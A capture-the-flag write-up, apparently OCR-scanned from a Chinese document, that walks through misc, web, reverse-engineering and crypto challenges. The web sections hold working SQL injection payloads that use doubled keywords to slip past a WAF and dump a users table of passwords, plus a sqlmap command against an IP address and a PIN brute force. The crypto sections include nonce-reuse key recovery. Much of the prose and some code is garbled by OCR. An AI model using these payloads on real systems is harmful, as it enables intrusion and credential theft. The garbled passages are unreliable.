23121677-JuEFML-CTF WP

Misc-Sign In

H feft ARG

A] L& BS54 hash(YOU)==hash(TEACHER) B[l i] %y ! FLAG
HE5 S RG] TR, ARee2ihy s

Fyit 245 {# hash==60000573

print(2**61 - 1)

print(hash(2305843009273694524))

2305843009213693951
60000573

# teacher 23058430092736945242 i N\ 24t

IEFWHEER , WRGNELEE

flag{cu5t@m_h45h_15 n@t_53cur3}

153 flag{cu5tOm_h45h_15_ nOt_53cur3}

Misc-Things Behind the Picture

B B StegSolve
FileFormat & H HHER
B plane 0 fix I J2H — LA R KA

i FH| Data Extract i % plane 0 1) 344

S T O A — [C
ontent T ypes].xm
T vl e &
RIL PK

H#ER H zip AW, B U2 .word
¥ word SCRS B BT A SO B i — % X
133 H5% flag{this_is_really_a_fake_flag}

1EHf flag JEX£E/docProps/app.xml H
flag{h1ldd3n_1n_dOcx_m3t4}



Misc-Where is He
EEE I  E AT RS, A —F %R, B Ik

Web-HTTP Stamps
BB

GET / HTTP/1.1\r\n
Host: example.com\r\n\r\n

%31 200

Vi in] forbidden {H &3K%3 404 Not Found

| GET /forbidden HTTP/1.1\r\nHost: example.com\r\n\r\n

FJi& 405 Not Allowed

| PUT / HTTP/1.1\r\nHost: example.com\r\nContent-Length: 0\r\n\r\n

}Ji% 400 Bad Request

| GET / HTTP/1.1\r\nHost \r\n\r\n

HEE R 200 T 50 KAH & T 3K 429 Too Many Requests

R A E

GET / HTTP/1.1\r\n
Host: example.com\r\n
Range: bytes=0-10\r\n\r\n

515 206 Partial Content

it

GET / HTTP/2\r\n
Host: example.com\r\n\r\n

1531 505 HTTP Version Not Supported

fii A

PUT / HTTP/1.1\r\nHost: example.com\r\nContent-Length:100000000\r\n\r\n

4% 413 Request Entity Too Large

fi A

GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.. At % 10000 4> a

4% 414 Request-URI Too Large

fi

GET / HTTP/1.1\r\n
Host: example.com\r\n




| Range: bytes=99999999-\r\n\r\n

3% 416 Requested Range Not Satisfiable

FJit 417 #2171 1 100

| GET / HTTP/1.1\r\nHost: example.com\r\nExpect: 100-continue\r\n\r\n

Web-HTTP Methods

Wriid HTTP H IR 2 Fhif K 77187

A NTE R i &

GET, POST, PUT, DELETE, OPTIONS, HEAD, PATCH, TRACE, CONNECT
8 burpsuite #2805 K, HEIERINE— DM Slod B3
2R N POST (IS 5.

flag{d1ff3r3nt_http_m3th0d5_

H-T HEAD 1 OPTIONS A4 H AT AT P 45

B HOE R A B

FE PUT AH B Hh 48 2150 AR K 1) % £H

HTTE/1.1 200 OK

Server: Werkzeug/3.1.3Python/3.10.18
Date: Fri, 13 Jun 2025 07:11:33 GMT
Content-Type: text/html; charset=utf-8
Content-Length 55

flagZ: hdv3 dlff3r3nt r35plins35}
Connection: close

FUT O0O00O000O000O000C0O00 IF

h4v3_d1ff3r3nt_r35p0n535}
HIHHN
flag{d1ff3r3nt_http_m3th0d5_h4v3_d1ff3r3nt_r35p0n535}

Reverse-EzReverse

Tiff iz Bl 2 ] B
TN IDA
AWANLER

for (i = 0; i <= 35; ++i)
s[i] = v5[i] » OxAA;

if (!lmemcmp(s, &unk_4100, 0x24u)) // 0x24 == 36 FTi
puts("Congratulations!");

HREM)E reverse 1UHY

data=]|
0xCC, 0xC6, 0xCB, 0xCD, 0xD1, OxDD, 0x99, 0x9B,
0xC9, 0x9A, 0xC7, 0x99, OxF5, OxDE, Ox9A, OxF5,
OxDE, 0xC2, 0x99, 0xF5, 0xDD, 0x9A, 0xD8, 0x9B,




O0xCE, OxF5, 0x9A, 0xCC, OxF5, 0xC8, 0x9B, 0xC4,
0x9F, 0x99, 0xC9, 0xD7

flag_bytes = [b » OxAA for b in data]
flag = ".join(map(chr, flag_bytes))

print(flag)

flag{w31cOm3_t0_th3_wO0rld_Of b1n53c}

Crypto-3LA%

EAMN A5 BN, A% flag

from Crypto.Util.number import *
from math import gcd

n=2270807881588501...
e1=11187289
e2 =9647291
c1=17134...
c2 =703308858653...
assert gcd(el, e2) ==
def extended_gcd(a, b):
ifb==0:
return (1, 0, a)
else:
x1, y1, d = extended_gcd(b, a % b)
x,y=yl,x1-(a//b)*yl
return (x, y, d)

s1,s2, _=extended_gcd(el, e2)

if s1<0:
cl =inverse(cl, n)
sl=-s1

if s2<0:
c2 =inverse(c2, n)
s2=-s2

m = pow(cl, s1, n) * pow(c2,s2, n) % n

print(long_to_bytes(m).decode())




Crypto-E B {fyia

] AT R, AU I AN S 5 B A

def hash_message(msg):
return int.from_bytes(sha256(msg).digest(), 'big')

z1 = hash_message(msg1)
z2 = hash_message(msg2)

# Calculate the private key d using the nonce reuse vulnerability
def recover_private_key(z1, z2, s1, s2, n):

numerator = (z1-22) % n

denominator = (s1-s2) % n

inv_denominator = pow(denominator, -1, n)

d = (numerator * inv_denominator) % n

returnd

Web-So Many Buttons

£ F burpsuite Y3515 /static/script.min.js #1%
HET I ®ETA

:document. addEventListener {"DOMContentLoaded”, function() {const container=document.getElementById( buttons”) ;const ag=2
bh=22;const ci=224;const dm const en=444;for (let i=0;i<500;i++) {let btn=document. createElement ("button”) ;btn. innerText="%%
Hl "+(i+1) ;const r=Math. floor (Math. random()*256) ;const g=Math. floor (Math. random()*256) ; const

b=Math. floor (Math. random() %256) ;btn. style. backgroundColor= rgh($ {r}, $ {g}, ${b}) " :btn. style. margin="4 :btn. style. padding=
(10+Math. random () #10) +”px” ; btn. disabled=Math. random () <0. 1;if (i i) {btn. onclick=function() {fetch( /give me flag pls’,
{method:” POST’ }). then(res=>res. text ()). then{alert)}}else {btn. onclick=function() {alert ("~ RiXA4 &4l

HE")} }container. appendChild(btn) }1) ;:

RRE 5 225 LA

L R I%E POST 153K, (HIEBEE pin 1Y
PUAZE] pin 15

&L Content-Length: 7

PIN: 0001

AT L@ PIN

T2 A 9999 X

&k Payload 1 Payload 2 Payload 3 Payload 4
[(607 0 6 0 6

0

1 0 0 0 0

2 0 1 0 0

3 0 2 0 0

4 0 3 0 0

5 0 4 0 0

6 0 5 0 0

[/ 0 6 0 0

8 0 7 0 0

9 0 8 0 0

10 0 9 0 0

1 0 0 i 0

12 0 1l 1 0

13 0 2 1 0
&K TAL :
£ Raw  Hex I w =

HTTP/1.1 200 OK

server: Werkzeug/3
pate: Fri, 13 g
Content-Type: t
Content-Length: 55
Connection: close

flag(yOu_h4v3_trl3d_v3ry_hdrd_dnd_h3r3_15_yOur_r3word-~)




flag{yOu_h4v3_tr13d_v3ry_h4rd_4nd_h3r3_15_yOur_r3wO0rd~}

Web-Custom WAF
BHEER P AT, (T E 5 RS

"aandnd UpDaTeXmL(1,concat(0x7e,(SeLeCt DataBase()),0x7¢e),1)--

23R4
ctfweb

ZJEfiEH

aandnd UpDaTeXmL(1,concat(0Ox7e,(selselectect GrOuP_CoNcAt(column_name) frfromom
InFoorRmAtloN_ScHeMa.columns whwhereere
table_name=0x7573657273),0x7e),1)--+&password=123&debug_mode=true

13RI H P R AL 4
<span style='color:red;'>SQL #41%: (1105, "XPATH syntax error: '"~username,password~"")</span>

e Ja EAEAE R R P 2 M55 4443 1) admin 2510

' aandnd UpDaTeXmL(1, concat(Ox7e, (selselectect concat(username, 0x3a, passwoorrd)
frfromom users liMIT 0,1), Ox7e), 1)--+&password=123&debug_mode=true

"aandnd UpDaTeXmL(1, (selselectect concat(username, 0x3a, passwoorrd) frfromom users liMIT
0,1), 1)--+&password=123&debug_mode=true

(GEIR
admin:T35t!IngTh!s1sV3ryH@rdTOGuUSS
alice:password

bob:123456

carol:carol

dave:1gaz2wsx

eve:pm123456

frank:1g2w3e4r

grace:qwerasdf

heidi:1357924680

ivan:666666~

judy:88888888

¢Iepll
admin_T3S$tIngTh!s1sV3ryH@rdTOGueS$S

Wil admin
flag{this_is_a_fake_flag_and_has_expired}

TR, EERN, XA flag IR T, BIBRTEER 7 —F, CLBAEBIRER T,
WARARIRABIE, B R —T flag SRR AEIR B | Fr RN S

NP
153 flag{this_is_a_fake_flag_and_has_expired}
H T IRIFAMIEE AR R — T flag X8, B0 T itk

B2 T sqlmap T AREHL 3] flag
sglmap -u "http://58.199.156.34:8080?username=admin&password=T3%24t%21ngTh%21s1sV




3ryH%40rdTOGue%24%24" --level=5 --risk=3 --search --keywords="flag"



